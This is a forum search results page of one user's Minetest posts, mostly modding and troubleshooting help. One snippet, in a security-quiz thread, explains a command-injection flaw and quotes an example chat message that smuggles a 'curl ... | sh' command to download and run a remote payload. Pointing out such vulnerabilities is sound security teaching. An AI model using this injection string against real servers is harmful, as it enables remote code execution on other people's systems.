Search found 167 matches
- Sat May 09, 2020 08:49
- Forum: Problems
- Topic: Water's Edges
- Replies: 5
- Views: 891
Re: Water's Edges
the harder solution is to force the water sources to render the top face if there is a block on top of them (not water), but i think that you have to check all water sources all the time which would also generate lag... so the super easy and working solution is to dont use wawing liqud until someon...
- Sat Apr 11, 2020 17:13
- Forum: Modding Discussion
- Topic: Quiz: Spot 3 security vulnerabilities in this mod
- Replies: 7
- Views: 1409
Re: Quiz: Spot 3 security vulnerabilities in this mod
The command passed to os.execute is constructed with string concatenation. By specially crafting a "message", an unprivileged user can execute arbitrary commands on the host system (for example the message "; curl http://example.com/payload | sh; echo " will cause a remote paylo...
- Fri Mar 27, 2020 13:13
- Forum: Partly official engine development
- Topic: Race condition on closing/reopening formspec
- Replies: 5
- Views: 1885
Re: Race condition on closing/reopening formspec
From what I understand handleCommand_* are executed on packet receive. And Minetest uses UDP, which has no constraint on the order in which the packets are received (to be faster than TCP). If you call minetest.close_formspec("player_name", "my_formspec", formspec) and minetest....
- Fri Mar 27, 2020 13:05
- Forum: Partly official engine development
- Topic: Race condition on closing/reopening formspec
- Replies: 5
- Views: 1885
Re: Race condition on closing/reopening formspec
Try doing `minetest.after`with 0s delay, as that will make the new form show one tick after the other one closed. As far as I can understand from his description of the problem, I think his issue is either that the client is ignoring a new form from the server if the user happens to close an existi...
- Fri Mar 27, 2020 12:47
- Forum: Modding Discussion
- Topic: Dinamically change text in formspecs?
- Replies: 5
- Views: 1000
Re: Dinamically change text in formspecs?
When you show a form using minetest.show_formspec you pass a "name" for the form (which is also passed to your formspec handler callback if you want to respond to e.g. button clicks in the form). If you later show another form with the same name (and to the same player), this will replace ...
- Wed Mar 11, 2020 21:27
- Forum: Servers
- Topic: [Server] Inside The Box [Puzzles]
- Replies: 627
- Views: 184120
Re: [Server] Inside The Box [Puzzles]
Imgur Terms of service Stuff not to do If someone else might own the copyright to it, don't upload it. Don't upload gore, "hate speech" (i.e. demeaning race, gender, age, religious or sexual orientation, etc.), or material that is threatening, harassing, defamatory, or that encourages vio...
- Fri Mar 06, 2020 21:31
- Forum: Problems
- Topic: Player perspective in vehicle is too low
- Replies: 3
- Views: 1143
Re: Player perspective in vehicle is too low
You need to use the set_eye_offset function. You call this function using the same object that you call the set_attach function on when you attach the player model to the vehicle. Don't forget to reset the eye offset when the player leaves the vehicle (at the same time that you detach the player mo...
- Sat Feb 22, 2020 20:40
- Forum: Problems
- Topic: Chromebook full keyboard and mouse support
- Replies: 4
- Views: 2018
Re: Chromebook full keyboard and mouse support
The Minetest package from the Ubuntu 16.04 PPA seems to work on Chromebooks (this one offers the latest Minetest version at the time of writing - 18.04 may also work if 16.04 gets dropped). Of course, this only works on x86-based Chromebooks and Linux application support might be disabled by an ente...
- Sat Feb 22, 2020 20:29
- Forum: Problems
- Topic: Player perspective in vehicle is too low
- Replies: 3
- Views: 1143
Re: Player perspective in vehicle is too low
You need to use the set_eye_offset function. You call this function using the same object that you call the set_attach function on when you attach the player model to the vehicle. Don't forget to reset the eye offset when the player leaves the vehicle (at the same time that you detach the player mod...
- Sat Feb 01, 2020 22:22
- Forum: Feature Discussion
- Topic: Something like secret metadata?
- Replies: 5
- Views: 1420
Re: Something like secret metadata?
meta:mark_as_private({"key1", "key2", ...}) https://github.com/minetest/minetest/bl ... .txt#L5607 Never link to a specific line from the master branch (or any branch) of a repository. Always link to a specific version (commit or release tag) of a file, otherwise the link might ...
- Fri Jan 31, 2020 21:54
- Forum: Modding Discussion
- Topic: change minetest.conf paraeters from a mod?
- Replies: 11
- Views: 1980
Re: change minetest.conf paraeters from a mod?
The main problem with changing settings from mods is that the settings are not only applied for the current world but will also be used for other worlds or as default values for new worlds. Mods (or generally speaking, all applications) should not mess with user settings if not explicitly requested...
- Mon Dec 16, 2019 20:24
- Forum: Modding Discussion
- Topic: Invite-only server policy mod
- Replies: 6
- Views: 748
Re: Invite-only server policy mod
Regarding the player at the top of the tree, they don't have to be online 24/7: "inviters" would automatically have interact. This something I thought about but did not, indeed, mentioned. New exploit: Create a second account and "invite" them, or ask your friend who doesn't pla...
- Sun Dec 15, 2019 20:57
- Forum: Modding Discussion
- Topic: Invite-only server policy mod
- Replies: 6
- Views: 748
Re: Invite-only server policy mod
Regarding (mostly) the issue of inactive players and always needing to have the players higher up the tree always online, I thought of a solution that involves splitting players into two groups. "New" players need their inviter to be online before they can play. These players cannot invite...
- Sun Dec 15, 2019 20:51
- Forum: Modding Discussion
- Topic: Invite-only server policy mod
- Replies: 6
- Views: 748
Re: Invite-only server policy mod
The main issue that I can see straight away is where a long tree of invites is formed and then someone higher up the tree decides to randomly (or maliciously) revoke or detach the person below/above them which causes a large number of mostly-unrelated players to suddenly lose their privileges. There...
- Sat Dec 14, 2019 17:49
- Forum: General Discussion
- Topic: what are the best settings for reducing connection lag?
- Replies: 5
- Views: 872
Re: best settings for reducing connection lag
If you're playing on WiFi, try a wired (ethernet) connection (plug your computer into your router with a cable). If you're playing on a phone or a tablet, use WiFi rather than 3G or 4G internet. Also make sure that local map saving is turned off (unless you specifically turned it on, it will be off ...
- Fri Dec 13, 2019 09:30
- Forum: Problems
- Topic: Understanding Minetest scheduling
- Replies: 5
- Views: 925
Re: Understanding Minetest scheduling
It's interesting to see this issue mentioned here, as I have also observed two similar issues neither of which make sense according to my (limited) understanding of the Minetest code. The first is a server-side issue on a server that I play on, where the lag between doing something and seeing the re...
- Wed Dec 11, 2019 22:14
- Forum: Modding Discussion
- Topic: Help with csm needed
- Replies: 44
- Views: 3912
Re: Help with csm needed
So how you recommend to have the code now?? Exactly as I explained in my previous post. I will repeat the relevant parts here, because you are apparently unable to do anything with the information that I give you unless it is repeated twice. According to the code that you posted previously, you're ...
- Sun Dec 08, 2019 20:45
- Forum: Modding Discussion
- Topic: Help with csm needed
- Replies: 44
- Views: 3912
Re: Help with csm needed
and my code doesnt work. This is it now (only the automatic kick code) minetest.register_globalstep(function(dtime) local status = minetest.run_server_chatcommand("status") if string.find(status, "^# Server: .*clients={([^}]*)}") then local list = string.match(status, "^# S...
- Sun Dec 08, 2019 20:17
- Forum: Servers
- Topic: [Server] Inside The Box [Puzzles]
- Replies: 627
- Views: 184120
Re: [Server] Inside The Box [Puzzles]
These bugs allow you to fill up your inventory with garbage. And when your inventory is full and you have no nexus cubes, it's game over. It's your own fault if you fill your inventory up with items that you (should) know you don't need (especially ores which are stackable). That said, being able t...
- Sun Dec 08, 2019 20:08
- Forum: Partly official engine development
- Topic: [Stalled] Keyboard only input
- Replies: 10
- Views: 2136
Re: Keyboard only input
I'm not sure how input are handled from client to server, with prediction and stuff like that. It seems to work locally with two clients, but everything is in client/, I feel I have missed something but I don't really know where to look. AFAIK look direction is handled completely client-side. The c...
- Thu Dec 05, 2019 20:20
- Forum: Modding Discussion
- Topic: Help with csm needed
- Replies: 44
- Views: 3912
Re: Help with csm needed
Download the correct standalone Windows version of Minetest 5.1.0 and try it again: https://github.com/minetest/minetest/re ... -win64.zip
- Sun Dec 01, 2019 21:20
- Forum: Modding Discussion
- Topic: Help with csm needed
- Replies: 44
- Views: 3912
Re: Help with csm needed
I did tested (I tried) but got an error when I runnend my server 2019-11-30 13:52:09: ACTION[Main]: Server: Shutting down 2019-11-30 13:52:09: ERROR[Main]: In thread 1: 2019-11-30 13:52:09: ERROR[Main]: /home/stefan/mt-build/build/minetest_64/minetest/src/serverenvironment.cpp:e6: createIntroductio...
- Thu Nov 28, 2019 22:49
- Forum: Modding Discussion
- Topic: Help with csm needed
- Replies: 44
- Views: 3912
Re: Help with csm needed
This is what he got Sadly, upon testing the CSM, I got a very similar, if not the same, error message. 2019-11-28 10:52:48: ERROR[Main]: ModError: Failed to load and run script from /home/[username]/snap/minetest-luk3yx-4/97/.minetest/clientmods/kick_csm/init.lua: 2019-11-28 10:52:48: ERROR[Main]: ...
- Mon Nov 25, 2019 20:25
- Forum: Modding Discussion
- Topic: Help with csm needed
- Replies: 44
- Views: 3912
Re: Help with csm needed
I have tested the mod according to the last version of the code that you posted (with the changes that I specified in my last post). I made a mistake with the ^*** (%S*) joined the game$ pattern and it should be changed to ^*** (%S*) joined the game%.$ (Minetest puts a . at the end of the join messa...
- Sat Nov 23, 2019 20:40
- Forum: Modding Discussion
- Topic: Help with csm needed
- Replies: 44
- Views: 3912
Re: Help with csm needed
When you say "doesn't work", do you get an error message or is it just that nothing seems to happen when someone joins the game?Miniontoby wrote:Now only the "register_on_receiving_chat_message" function doesnt work . Could you help me?